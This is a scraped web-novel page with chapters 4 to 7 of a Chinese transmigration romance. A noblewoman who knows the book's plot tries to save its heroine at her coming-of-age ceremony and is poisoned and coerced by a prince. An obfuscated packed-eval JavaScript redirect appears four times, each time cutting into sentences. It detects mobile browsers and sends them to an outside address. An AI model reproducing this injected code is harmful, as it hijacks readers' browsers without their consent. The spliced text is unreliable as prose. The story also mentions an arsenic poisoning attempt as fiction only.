“好了。”白露终于插完了最后一只步摇,喜滋滋地问,“姑娘瞧瞧。” 林若妤也看向镜子,这是她第一次这么仔细地看这张脸,小巧,精致,病态的苍白施以脂粉后倒多了几分莹润之色。 飞仙髻中间簪了个点翠的发钿,其间缀着几朵指甲盖大小的玉白小花,甚是精致,一左一右是各三只金丝镂空的发笄。 发笄下面各掩着一只金丝嵌玉的钗子,往上则是一只通体雪白的玉簪,簪尾雕了一只栩栩如生的蝉,取婵娟之意。 两只步摇自发髻后垂下,一动一静、一颦一笑便皆是流光溢彩。 再看衣服,鹅黄的襦裙用银线绣着一串串的暗花,在屋内倒还不显眼,等到了烛火或是太阳下,便透着流光,极为好看。浅紫色的褙子是用蚕丝钩织的,如烟如霞,配上高高的飞仙髻,倒真有几分飘然脱俗之感。 这张脸经过这番打扮,即便仍有些稚气未脱,倒也生出了几分姝色,纵算不上国色天香,也真真叫人看了之后便移不开眼了。 白露很满意,姑娘今日终于听劝了,没有指手画脚地把她的妆发改的乱七八糟了。 瞧瞧,多漂亮,姑娘早该走这种风格了,本就是个清冷的美人,从前却偏偏喜欢大富大贵的妆面,平白添了几分老气。 林若妤也很满意,谁不喜欢自己漂亮呢,当然,如果头上的发髻能轻一点她会更满意的。 “白芷还没有消息传回来吗?” 白露摇头,姑娘说得那么含糊,哪那么容易能找着人,“大姑娘倒是遣人来催了一回了,姑娘,咱们该去厅上了。” “也好,等簪了花,过了礼,咱们一起分头偷偷地去找。” “……”姑娘,你今日这身装扮,那一屋子宾客能看着你顶着这幅模样‘偷偷地’去找人吗? 显然,不能。 林若妤本以为所谓的及笄礼就像是星际的成人礼一样,发完言走完流程后就可以该吃吃该喝喝了,不曾想,她看着林国公红着眼睛给她簪完花后大手一挥,刚准备让大家该吃吃该喝喝的时候,外面传来了一声尖细的声音。 “昭明太子到!” “太子?”方才还一脸老父亲的慈祥模样的林国公立刻扬起了一个虚伪的笑。 他似是不经意一般看了眼大女儿的方向,林若妤不知两人这么短短的一眼究竟能交换什么信息,只见林国公笑得更为热情的迎了上去。 “臣见过太子殿下。”林国公还未完全见完礼,就被一只手扶了起来。 “不必多礼。”说话的人穿着一身墨色滚金边的朝服,举手投足间便是一派沉稳贵气。他在一众宫人的簇拥下站在了大厅中央,周围聚了一圈人,看不清五官,只隐约看到他对着行礼的众人摆了摆手,“都起来吧。” 林若妤心里咯噔一声,只觉得后背都升起了一丝凉意,太子怎么来了? 她看到的剧情里,她的及笄礼上,分明没有出现过太子这号人物,难道因为她的到来,哪里出了差错? 还是说,女主这会儿已经在她们府里遇到了什么困难?太子紧赶着来英雄救美? 如果连她知道的仅有的剧情甚至都会有变动的话,她看的那本破书究竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487560|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能有什么用?? 不知为何,林若妤想到刚刚内侍传报太子驾到时她姐姐和父亲对视的那一眼,一时没忍住转头看向站在另一侧的林方雅。 冷不丁,竟对上了她的视线。 林若妤避无可避,只好扯了一个笑,林方雅见状也笑了,只是那笑意味难明,让她迅速收回了视线,硬着头皮佯装无事发生。 如果说今日的林若妤清冷矜贵如蟾宫月桂,那林方雅就是一朵明艳盛开的牡丹,两位美人相视一笑的场景,几乎黯了这满室的光影。 可偏偏昭明太子来了,这满屋子原本都该被两姐妹吸引而去的目光,生生被那位大神分去了一大半。 林国公领着昭明太子落在了上座,“小女一个小小的及笄礼不想竟劳动太子大驾光临,真是蓬荜生辉。” “林国公说笑了,本宫不过代母后前来贺礼,还请诸位不必拘礼。” 君子如玉。 林若妤今天之前从未对这四个字有具体的认知,直到看到了高座之上的人,清风朗月,温润如玉,让人望之便生了几分自惭。 太子的到来除了彰显出林国公府如今的显赫地位,也让整场及笄礼的重心从林家偏到了太子身上。 齐国的男女大防没有那么严重,男女尚能同席,可有机会跟太子坐在一个屋子里吃饭的机会却绝对是凤毛麟角了。 于是周围够得上的够不上的,都见缝插针地想去敬太子一杯酒,哪怕说上句话也是好的。胆子大的如沈相之女,已经开始进言想拉着太子玩什么行酒令了。 若是从前的林若妤,此时一定不甘于人后,可现在…她只是蹙着眉捂着心口,一副愁眉不展的模样。 林方雅见状温柔一笑,低声问道,“怎么了,妹妹?” 不对劲,这事有些不对劲啊… 她姐姐怎么一副成竹于胸的样子,难道女主已经落在她的手上了? 不能啊,她姐姐就算再聪明,也不能比她这种看过剧情的还能把握全局啊。这会儿她不是应该跟父亲一起盯着淮南王吗?怎么盯到了男女主头上了? 总不能是她退出了淮南王竞争,她姐姐觉得没意思了,就又把目光移到了太子身上了? 离谱了吧,这位姐姐。 您是在妹妹我身上装了雌竞感应器吗?我盯谁你盯谁? 前厅没见着白芷,派出去寻她的人也没有音讯传回来,太子有这么多人盯着,一时很难接近,与其在这里被她爹和她姐姐闷在葫芦里摇,不如出去碰碰运气。 万一她人品大爆发把女主给救了,那不就成了躺赢局? 林若妤心一横,猛猛咳了两声,“姐姐,妤儿实在是身子不适,不好在太子面前失仪,想先告退。” “你要走?”林方雅似有些犹疑,她这二妹妹,今日打扮成这样,难道真的甘心只露个脸就跑? “咳咳…姐姐,妤儿…” “也好。”林方雅不等她说完,就温和地打断了她,意味深长地看着她笑,“既是身体不适就回去休息吧,爹爹在接待贵客,就不要去叨扰他了。回头若是问起,我自会禀明缘由。” “多谢姐姐。”林若妤眨了眨眼睛,她姐姐该不会是以为她在故意装不舒服,然后想趁着凑上去跟爹爹告罪的时候故意跟太子套近乎吧? 别闹了,姐姐。 男主是女主的。 别爱他,没结果。 真的。 5. 第 5 章 林若妤已经被府兵请回房过两次了。 也就是说,她在自己的家里溜达,被自己家的护卫,嫌弃碍事了两次。 并且都是冷不丁地突然被围住,然后被为首的林泰不耐烦地偷偷瞪一眼,“二姑娘既是身体不适,还是早些回房歇息吧。” 林若妤她心好累。 林泰是府上的府卫首领,个子很高,透着股凶相,家里的人都叫他林总管,没有在授官职,只算是林国公府的家臣,或者说,是林永安手里的一把刀。 武艺高强,忠心耿耿,指哪打哪。 不过不管怎么说林若妤也算他半个主子,就算他是柄再锋利刀,也没有闭着眼睛往她身上砍得道理。 于是亲两次,她装模作样的咳嗽了几声后,都笑盈盈地敷衍过去了。 “姑娘…”白露跟在林若妤的后面,心里越发没底,“咱们还是回去吧,林总管回头万一跟老爷又告您一状,吃亏的还是您呀。咱明日再出来玩不行么?” 原书的林若妤是有些怕林泰的,他就仿佛是父亲长在外面的眼睛和手,招惹了他,就是招惹了站在他身后的林国公。 只是如今的林若妤哪里还顾得上这些。 告状又能怎么样,禁足还是抄书?能比得上这条小命重要? “你若是害怕就先回去。” “姑娘说什么呢!”白露急了,“再怎么说,我…” “嘘——”林若妤突然停下了脚步,一步步走向小湖边。 “姑娘…”白露想拉她又不敢,姑娘怎么还敢去水边,上次落水的事情还不叫人害怕吗? 京城里的公侯伯爵府邸都喜欢在花园里弄个湖,再在湖边的小径上堆上些专门从江南运来的石头,取一缕曲径通幽、亭台水榭之画意。 林国公府的花园里,也有这么一个不大不小的人工湖,湖水是从护城河里引过来的。 可林若妤却觉得,各府里的这一汪湖水,分明是这些钟鸣鼎食之家藏污纳垢的下水道。 意外落水、不慎坠湖、失踪、潜入。 哪一个环节能缺得了这片碧莹莹的春水呢? 恰如此刻,她怀疑女主就藏在这个下水…不是,这片人工湖里。 顺着猜想,她仔仔细细在湖边转了一圈,却没有发现什么异样。 就在她以为自己找错了方向,坐在岸边发愁时,突然看见离水岸边不远处的湖面上,有一圈小小的涟漪。 原本湖水里有涟漪是件再正常不过的事情,水里的鱼、水上的蜉蝣甚至是过境的风,都会弄出这种轻微的涟漪。 可就在她对着湖面发呆的这一会儿,在几乎同样的位置,泛起了两到三次几乎一模一样的涟漪。 本就有些疑心的林若妤凝神又看了片刻,越看又越有些不确定了。 如果这片涟漪是人为的,那必定是一个人借助什么工具在水下呼吸,可真的有人是这么呼吸的吗? 林若妤跟着那片涟漪泛起的规律憋了会儿气,只消两下就咳嗽了起来。 “姑娘这又是怎么了。”白露拍着她的背,“是不是着风了?” 还未等林若妤缓过气来,就听得身后响起了让人觉得是咬着牙透出的阴恻恻的声音。 “二姑娘怎么还在这里。” 又是林泰…第三次了,这么大的国公府,她跟他们这群人片刻的功夫已经碰上第三次了,她是在找女主,他又在找什么? 林若妤扶着白露的手还有些没缓过来,气息有些急促,“屋里闷得慌,我这才出来透透气。不过林总管倒是好兴致,爹爹与昭明太子殿下都在正厅,你不在那里候着,反倒陪我在花园里玩躲猫猫?” 躲猫猫?林泰闻言黑了脸,“今日府上人多,二姑娘还是改日再出来玩吧。” 林若妤又咳了几声,“实在不是我想给总管添麻烦,只是…前些日子沈相的女儿送了我一只豚鼠,说好了今日拿出来让她瞧瞧养成什么样子了的,不曾想今日晨起竟是让它给溜出去了。” 见林泰的脸色更差了,她越发真诚,“当时白芷跟着就出去找了,可找到现在是鼠也没见着,人也不见了。 正如林总管所说,今日府上人多,万一小豚鼠出了什么岔子,沈晴芳一会儿散了席若是找我要,我怎么跟她交代?” 林泰很想伸手揉揉脑袋,听得头疼。他沉默了片刻后,拱手道,“不如二姑娘先回去,你们主仆二人找起来总没有我们这群人找得快,一会儿若是找着了,我给二姑娘送过去。” “也好。” 林泰也没有想到这个刁蛮的二姑娘今日竟如此好说话。 “不过瞧着这天好似要下雨了,不知林总管可有雨具?我自从落了水之后怕凉得很,若是回去的路上下起雨来,又着了风寒可怎么好?” 林泰没有应声,他身后的护卫们倒是一个个抬头看起了天,这艳阳高照的样子,二姑娘是从哪瞧出来一会儿要下雨的? 林泰反复打量着眼前这个似乎连气都要喘不上来的二姑娘,心中正犹疑不定之时又听得她浅笑着开口。 “林总管今日怎么总像是不放心我,不如这样,你陪我在这等着,让白露去取了雨具来,可好?” 陪她在这等着?林泰不动声色地观察了一圈四周。 风平浪静,湖岸边没有水渍,假山附近也没有脚印。 他垂下眼行礼,“姑娘在此稍后,我这就派人去给姑娘取雨具,姑娘是否拿了雨具就可以回青玉阁了?” “自然,我在这里又不是专门为了与林总管为难的。”林若妤笑道,“还请总管拿两幅蓑衣雨帽才好,白露若是伤风了,可就没人照顾我了。” 林泰点了点头,“姑娘放心便是。” 林若妤看着一脸淡定地遣散了属下,当真陪着自己等雨具的林泰,一个头两个大。 她此刻已经不敢再做什么了,她怕弄巧成拙引得林泰更为怀疑,到时候他万一也发现了湖里有些不对劲,那她就不是在为自己挣命了,是提前把自己送上路了。 她原本的计划是多么的完美。 只要命人拿来两套雨具,她跟白露一人一套穿身上,再找个机会让白露假装落水,在水里把雨具换给女主。 然后她带着披头散发又被雨具包裹着看不清脸的女主急急忙忙地回青玉阁,回头再让白露找个没人注意的时候偷偷溜回去。 完美救人计划,就此达成。 如果没有个门神一样的林泰在这杵着的话。 “林总管,我…”林若妤的话还未说完,远处就急急忙忙跑来一个府卫。 “林总管!书房那边有动静!” 林泰连一个眼神都没再留给林若妤,跟着府卫向着书房的方向飞奔。 “书房?”林若妤开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487561|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纠结。 难道她方向搞错了?湖里根本没有人? 她现在该怎么办?跟着林总管飞奔?还是… 她转头看向那片平静的人造湖。 “姑娘,咱们回去吗?”白露见她面露犹豫,试探性地问了句。 林若妤咬唇,下定了决心,“白露,你把外衣脱给我。” “什么?”白露不理解,但还是下意识地按着姑娘说得做了,慢慢腾腾地开始解外衣的衣带。 “白露,你听我说,好好听。”林若妤一面上手帮忙一面正色嘱咐。 “你把外衣给我后就寻小路回去,别让人瞧出是你。回去后只说落了水怕过了病气给人,我吩咐你在我的耳房里歇着,别出来也不准别人进去,知道吗?” “姑娘…” “听到了吗?”林若妤抬了声音,定定看着她。 “是…姑娘。”白露到了这会儿哪还能不知道姑娘想做什么,将外衣交过去后咬着唇叮嘱道,“不论姑娘是想救谁,千万当心自身安危才是。” “好白露,你放心吧。”林若妤有些感动,摸了摸她的头,“快回去,千万别叫人看见。” 这边白露刚走,那边林若妤就咬着牙往水里走去,一边走,一边仔仔细细盯着方才那片涟漪处。 果然,她刚一下水,那片涟漪泛起的速度,又慢了些。 五月的湖水还透着股凉意,她小心翼翼地在距离那片涟漪两米远的地方停了下来,颤着声音低声问道,“是虞姑娘吗?” “……” 没有回应,但原本就不起眼的涟漪竟直接消失了。 林若妤在一瞬间寒毛直立,本能危机感让她迅速开口,“我是来救你的,你穿上我侍女的衣服,我带你回我那安置下来!我没有恶意!咳咳咳…” 她其实真的很想蹲下去,直接在水里跟她完成交接。 可一方面是今天的妆容实在沾不得水,另一面她又怕女主会对突然出现的她下手,是以这才挑了个她觉得还算安全的距离隔空喊话,不曾想虞秋月居然这么警惕。 她现在只怕自己一旦话说得慢了,就提前被女主当炮灰给灭了。 没办法,炮灰的人生,就是这么惊险无常。 毕竟…她林若妤就算是第一章就横死,也不影响主线剧情啊,呜呜呜。 “呵。” 陌生的气息在耳后出现,林若妤头皮发麻,她死定了! 这是个男人的声音! 她几乎在瞬间就动弹不得地被制住了双手,耳边响起的声音轻佻又戏谑,“虞姑娘在书房呢,这位姑娘,你找错地方了。” “这位英雄…” “嘘。”他修长的手指从她的脖子抚上她的面颊,用力捏住了她的下巴,迅速塞了一颗冰凉的东西进了她的嘴里,“走吧,我知道你没有恶意了,带我回你那安置下来,我们再慢慢说。” “唔…咳咳咳咳咳咳…”林若妤红了眼睛,她想吐出来都来不及,那东西入口即溶,徒留一缕苦涩在舌根盘桓。 她好后悔,她为什么不跟林总管飞奔去书房,如果人生有再来一次的机会,她一定… “不想走?” “想想想,现在就走。” 耳后响起的声音甚至还能听出几分笑意,如果她不是手腕痛的快要断掉了的话,大概会以为他是在跟她好好商量。 6. 第 6 章 白露心惊胆战地一路跑回去后,连院子里的人都叫她避开了,一个人躲在姑娘房间的耳房里,眼巴巴地等着姑娘回来。 也不知等了多久,正屋终于有了动静。 她迅速跑了过去,果然是姑娘回来了,后面还跟着个套着自己外衫的人,身形比一般的姑娘要高挑一些。 姑娘也真是,早些告诉白芷要找的人身形比常人高多好,也不至于自己跟着担惊受怕的。这么高的姑娘家,分明一眼就能认出来。 “姑娘,你可吓死奴婢了。”白露急忙迎了上去,“怎么衣服还湿了,快脱了,奴婢叫人给你备水,刚好些的身体可经不住这么折腾。” “我没事,你先出去吧。”林若妤的声音低哑,垂着头看不清神色,“不许任何人进来。” “是…”白露迟疑着退了出去。 门刚一关上,林若妤缓步走到了桌边坐下,给自己倒了一杯热茶捂在手心,手腕青紫的痕迹格外扎眼,可她此刻已经完全顾不上了。 她缓缓抬头,看向这个一路跟着自己回来的人。 是的,到现在她都没见过身后人的样子。 实在不是她怂,而是下意识求生的本能让她觉得,只要还没到青玉阁,只要还没见过他的脸,她就还有救。 可等终于进了屋子她才想起来,求什么生?这人刚给她喂了不知什么毒药,这是不看脸能解决的问题吗? 等她对上了那一双狐狸眼之后,林若妤真真切切的在心里哀嚎出了声。 她错了,真的,她不该不相信作者的,作者说女主是小鹿眼,女主的眼睛一定一看就是一只小鹿,就如同眼前的这位。 作者唯一在书里写过的狐狸眼——流落民间的三皇子,颍川王,萧云景。 怎么是这位祖宗!?毫不夸张地说,如果有的挑,她甚至情愿眼前的人是淮南王萧云峥。 至少不是个变态,更不是书里鼎鼎有名的,唯一一个变态。 萧云景在她对面坐下,眼见着眼前的姑娘看清他的脸之后,眼神迅速从震惊变成悲愤又化作绝望,整个过程中还强忍着面部表情没有变化,觉得有些有趣。 病弱的美人故作坚强的场面还真是好看,连妆发都微微凌乱得恰到好处,只是口脂花了一点。 唔…可能是刚刚塞药的时候弄花的。 “认识我。”他坐在了她的对面,撑着下巴看着她。 林若妤犹豫了一瞬还是摇了摇头,国公府的二姑娘怎么会认识自小便流落民间的三皇子。 “撒谎。”他盯着她。 林若妤还是摇头。 萧云景泛起了一丝笑意,“不想说?” 那神情分明是…不急,我有很多办法可以让你说,呜呜呜。 “我刚刚救了你。”林若妤轻缀了一口热茶,颤抖着指尖,垂眸,“咳咳咳…这不该是你对救命恩人的态度。” “我以为留你一条命,已经是我对你最好的态度了。”萧云景漫不经心地也摸过来一个茶杯,指尖划过杯沿,轻敲了两下,“不满意这个态度?” “……”满意,她真的太满意了。 湿漉漉的下半身让林若妤觉得一阵阵的发寒,她想到方才吃下去的东西,又不确定现在的寒意究竟是因为浸了水还是中了毒。 她知道自己骗不过他,可她真的没法解释究竟怎么认出的他,只好硬着头皮咬牙道,“我倾慕昭明太子,是他的红颜知己,他告诉我他的三弟长了一双狐狸眼。” “倾慕太子?”这倒是他没想到过的胡话。 萧云峥的青梅竹马有可能会倾慕大哥么?前些日子还听说林国公府的两个女儿为了他那个二哥险些闹出了人命。 这会儿又倾慕太子了? “我知道你不信。可其实…我是在梦中,与太子相见的。” “呵。”还挺能编。 林若妤面不改色,她也知道这个瞎话编的离谱了一点,可这原本就是她准备拿来糊弄女主的说辞啊! 按原计划,这会儿应该是善良的女主对她的搭救表示怀疑,她捂着心口告诉女主,她上次落水之时,本该命不久矣之际,隐约在梦中见到了太子。 太子说他可以救她一命,作为交换,她必须在在及笄礼这一日帮他救一个人,这个人就是女主! 这么冥冥之中早有注定的剧情,哪个女主能扛得住? 可偏偏这会儿临时换了人,她面对的人,从机智善良的女主变成了个狡猾变态的狐狸。 可她没也没准备别的说辞啊!只能硬套啊! “我说的都是实话。”她努力睁大了眼睛,显得极为真诚地看向对面的人,直接放大招,“前些日子落水,梦中的太子在我弥留之际救了我一命,作为交换,他要我帮他的弟弟取得国公府谋反的证据。我感激他的救命之恩,心生钦慕,定要帮他达成所愿。” 萧云景眨了眨眼,眸光几不可察的动了动。 这故事里有太多的漏洞… 比如这姑娘分明一开始是奔着虞秋月去的,这会儿又重任在肩的要帮他了。 比如她提到太子时那双无波无澜的眼睛,哪里都看不出丝毫的倾慕。 比如…他怎么不知道,林国公要谋反? “林国公打算如何谋反?”他漫不经心地给自己也添了一杯热茶。 “不知道,太子没说。”林若妤快要说服自己了,对没错,这些都是太子告诉她的。 “这么看,你对我的帮助也不是很大嘛。”他的目光慢慢移到了她唇角花了的那抹脂色上,“太子殿下有没有告诉你,他三弟不喜欢跟对自己没有用的人打交道?” “……”顺着他的目光,林若妤也想到了自己刚刚吞下的不明药物。 她深吸了一口气,在心里安慰自己,殊途同归嘛,女主和三皇子都是一样的,主角团的船都搭上了,她应该… “并且还耐心有限。”他敲了敲桌子。 她应该…高兴才是啊! “我若真的实话实说,你是不会相信的。” “你也可以不说,我向来不喜欢勉强别人。” “不瞒你说,虽然我不知道我爹爹谋反的详细计划,但我知道跟他联络的反贼是谁。” 性命攸关,林若妤也顾不得那么多了,跟这么个变态打交道,说也是死不说也是死,反正大家都是一条船上的人,有什么是不能说的? 萧云景连应声都没有,直接给了她一个眼神,继续啊,不懂什么叫耐心有限? “兵部尚书刘瑸。” “你是在试图让我相信,区区一个兵部尚书,敢揭竿谋反?”他似笑非笑。 兵部尚书的事,连他与兄长也不过刚刚察觉了些许蛛丝马迹。如果说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487562|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前还觉得这个姑娘是在编一个荒诞的故事的话,现在… 真的开始有趣起来了。 “兵部尚书自然是不敢揭竿造反的,可是他敢当一柄刀。”林若妤神色认真,“他敢当那反贼的马前卒。” “谁的刀?”萧云景没什么表情,丝毫看不出信还是不信。 “淮南王,萧云峥。” 林若妤话音一落,对面的人就放下了茶杯,定定看着她,不说话。 她瑟缩着往后躲了躲,“我早说了,我说实话你是不会信的…” “都是实话?没别的要交代的了?” “都是实话!没了!”她眼神坚定。 开什么玩笑?她都交代成这样了,还要怎么交代?交代她是穿书来的? 她会被当成是妖怪,然后拉去绑在柴火架子上一把火烧了的… “哦。那你打算怎么帮我?” “看…看你有什么需要吧。” 林若妤被他问得有些懵,她哪知道怎么帮,她又不是主角团,“你今日来府上,是想找什么东西?找着了吗?要不,我帮你再找找?” “呵。”萧云景轻笑了一声,倒是反过来打听他的事了。 林若妤被他笑得瘆得慌,也不知道他这是同意还是不同意,又不好再追问,只好假装很顺便很顺便地问了声,“你给我吃的,是什么呀…” “当然是穿肠毒药啊。” “……”说话的艺术您是真的一点没学过吗?告诉别人这种事情的时候用这种轻快的语气,到底是想毒死她还是想气死她? “好好听话,听话的人活得长。”萧云景慢腾腾地站了起来,顺手拍了拍她的脑袋,“有热水吗?” “……”气到不想说话的林若妤瞪着他。 “没有?”他掀了掀眼帘。 “有的,我这就叫人在耳房备下。”嘤…怎么会有人一个眼神都能那么可怕。 萧云景满意地点了点头,转身后,面上的笑意却越来越淡。 国公府的二姑娘… 知道她爹会与反贼有联系,知道三皇子会搜集证据,可她不知道证据是什么,也不知道她爹是如何与反贼联络的。 说反贼是淮南王,说兵部尚书就是淮南王手里的一柄刀。 可他敢肯定,假设他再多问一句淮南王是如何谋反的,她必然也是说不出个子丑寅卯的。 她不该知道的事情,知道得太多了。 问她是怎么知道的,就胡编说是太子在梦中告诉她的。 偏偏她对这她说得这些事… 只知道一个梗概,一个脉络。 这合理吗?完全不合理。 没有发生过的事情,她是怎么能如此肯定的? 萧云景的眸色越发暗沉,他从前从不相信那些和尚道士嘴里怪力乱神的事情,可如今… 如今的情形,就好像是有人已经提前将这一生展开在了这姑娘面前,但她由于身处事外,局限过多,最终只看到了个结果,却不能摸清其中脉络。 这可能吗? 这完全不可能…吗? 急急忙忙吩咐人去备水的林若妤若是知道此刻萧云景此刻心里的想法,只怕才真的要被吓死。 这个人,竟是全凭短短几句话,就几乎全凭推测地摸清了她的所有底牌。 如斯可怖。 7. 第 7 章 林若妤的正房两侧有两个耳房,耳房不似正房分成了里外两间,只有正房一半的大小,各有一扇小门可以直接通到她正房的里间。 右侧的耳房被她收拾出来当作了浴室,左侧的耳房则被她布置成了书房。 书房里有一张小塌,说是小塌,其实类似一个一米二宽的木制长沙发,上面铺了厚厚的软垫,平日里若是看书写字累了,在上面躺一躺也是极为舒服的。 昨日,萧云景就被她藏在了这个由耳房改造而成的书房里。 今日天微微亮,林若妤蹑手蹑脚地敲了半天的门想要问他要不要用早膳的时候才发现,这里竟已经人去楼空了。 她急急忙忙翻箱倒柜,角角落落都看过了,反复确认屋内无人后,这才双目无神地靠在了屋内的榻上,看着空空如也的房间,陷入沉默。 可以飞檐走壁、武艺卓绝可真好啊,来无影去无踪的,要走要留绝不留下蛛丝马迹。 再看看她,连多走两步路都费劲。等下次见到他,她一定要问问,到了她这个年纪再学武,还能不能练成绝世高手。 林若妤叹了口气,小人物的性命可真不被剧情当性命。 她才来了不过一个多月,就仿佛已经透过自己看到了广大炮灰的心酸。 先是被自家姐姐下了慢性毒药,身子还没养好呢,又被主角团下了不知道什么时候会发作的毒药。 前一个还能找着下毒的人,后一位竟然就不声不响地拍拍屁股走人了… 怎么说她昨天也算得上是他的救命恩人吧? 给救命恩人下毒不说,走的时候不打个招呼也就算了,连关于毒药的只字片语都没留下,也太不把人命当回事了吧! 也不知道他还能不能记得回来给她解毒… 不!他可是主角团!他一定会回来的!主角团怎么能草菅人命呢! 可他是主角团里的变态啊… 林若妤正躺在榻上胡思乱想着,冷不丁一抬头,竟看见个黑衣人影站在了自己的塌边,不声不响的,也不知站了多久。 “……”所以这就是她最终的宿命吗? 不是被毒死,而是终有一天会被这个神出鬼没的三皇子气死或者吓死? 不过…她在这兀自长吁短叹了一早上,结果他竟然没走? 亲爱的剧情,可不可以当作没有听见她刚刚的心里话,你们挺拿人命当回事的,真的。 她看着这么一早就收拾得甚是精神,甚至有可能已经出去走完了一圈剧情回来的萧云景,笑着开口凑近乎,“你去湖里捞衣服了?” 这人的衣服昨天明明脱了扔湖里了啊,他们堂堂国公府,竟被这位三皇子出入之间如入无人之境?一大早去湖里捞衣服都没人发现? “有事?” 捞衣服这种胡话跟昨天的太子托梦比起来简直就是小巫见大巫,萧云景懒得跟她废话,就全当没听见,这姑娘这么一大早躺在他的榻上,总不能只为了说废话吧。 林若妤被他问噎住了,说实话她没想到还能再见到他,一大早见这里没人,她以为他已经趁着夜黑风高悄悄走了。 有事?这话问得不知道的人还以为这是他的院子呢。 “没事就出去。”萧云景的耐心,只维持了不到两秒,他也没想到她好像真的只准备了这一句废话。 “……?” 林若妤差点被气笑了,这位壮士,您是不是有些过于嚣张了,怎么说这里也是林国公府… “也可以留下来试试我的新药。”他见她似乎没有出去的打算,作势要从怀里掏东西。 “不用了不用了,我这就出去。” 怎么说这也是捏着她小命的祖宗,她现在的毒都还没解呢,对毒上加毒丝毫不感兴趣,什么嚣张不嚣张的,她看不见。 林若妤麻溜地从榻上爬了起来,飞快地走到了书房门口,正准备小心翼翼给他把门带上的时候,突然福至心灵想到了一个绝妙的好主意,就又有些挪不动脚步了,“那个…” 萧云景铺开桌上的宣纸,不紧不慢地抬眼,“说。” “你是缺试药的人吗?要不把药给我,我帮你找人…试试?” 萧云景手上的动作一顿,笑了,支起提笔的手腕,正眼看向站在自己门口显得有些鬼鬼祟祟林国公府二小姐。 穿着一身里衣就敢往见了一面的男人屋里跑,羸弱又苍白的面色仿佛随时都要晕过去,只略略吓唬一下就跑得比兔子都快,这么怕死还有胆子准备借他的手去害人? 他提起了一丝兴趣,“你准备找谁试?” 林若妤本来被他的眼神打量得都又准备跑了,可想着她的大计,还是咬牙开口,“你觉得…我爹爹怎么样?” 林国公没了,二皇子找谁谋反去? 他们林国公府只要不掺和进这种抄家灭族的大事,她林若妤这辈子不就苟下来了?主角团也去了个心腹大患,一箭三雕啊! “唔。”猜错了,他还以为会是她姐姐。 “只要你把药给我,我一定能找到机会下在我爹的饮食里,到时候万一运气好…不是,万一那什么,不就一劳永逸了?”林若妤见他不应,绞尽脑汁地试图说服他。“你相信我,我前段时间都试过一次了,可惜不知道是不是弄来的药出了问题,一点作用也没有。” “你给林永安下毒了?什么时候?怎么下的?”萧云景深吸了一口气,一个他昨日始终想不明白的问题仿佛突然之间有了答案。 林若妤见他似乎神色不对,有些犹疑地开口道,“就前几日。我叫丫鬟买了红信石,自己磨成了粉。但…但是没成功。” 她深深的怀疑,她之前之所以没有成功,是受到了剧情的制约。 如果她爹死在了她的手上,三皇子还怎么攒经验?还怎么名正言顺地杀回朝堂? 如今正主就在眼前,就算是提前一点弄死了他爹,也不过是加快升级进度,所以这次一定能行! “……” 萧云景自七岁那年被母亲偷偷送出宫,到现在已经十二年了。 这十二年里他被亲信背叛过,被大哥救赎过,被奸人追杀过,就是没有这么无语过。 他就说,他不过是趁着昨日人多眼杂的时候来探探路,国公府怎么就仿佛早得了消息一般,里里外外守得如同铁桶一块。 猝不及防之下他差点吃了大亏,最终还累的大哥亲自过来才给他解了困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487563|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 合着全是这位国公府二姑娘的功劳啊。 给林永安下毒?亏她真能做得出来。 他沉默了半晌,见门口的人越发局促不安,才压下情绪又开了口,“你叫什么名字?” “林若妤。”林若妤有些恍惚,她叫什么名字影响她下毒吗?还是说,这难道意味着她终于在主角团那儿拥有姓名了? “有小字吗?”林国公家的二姑娘,林若妤,他今日是真记住了。 “没有…”吧? 她一个只活了前三章炮灰,配在寸字寸金的剧情里看到自己的小字吗?加入主角团的要求这么高吗,还要有小字? “没有刚好,我给你取一个吧。”萧云景顶着她变得有些期待和惊喜的目光,笑了,“就叫阿呆,甚是符合你的气质。” “砰——”门被狠狠摔上了。 呵,胆子不小,敢跟他使脾气了。 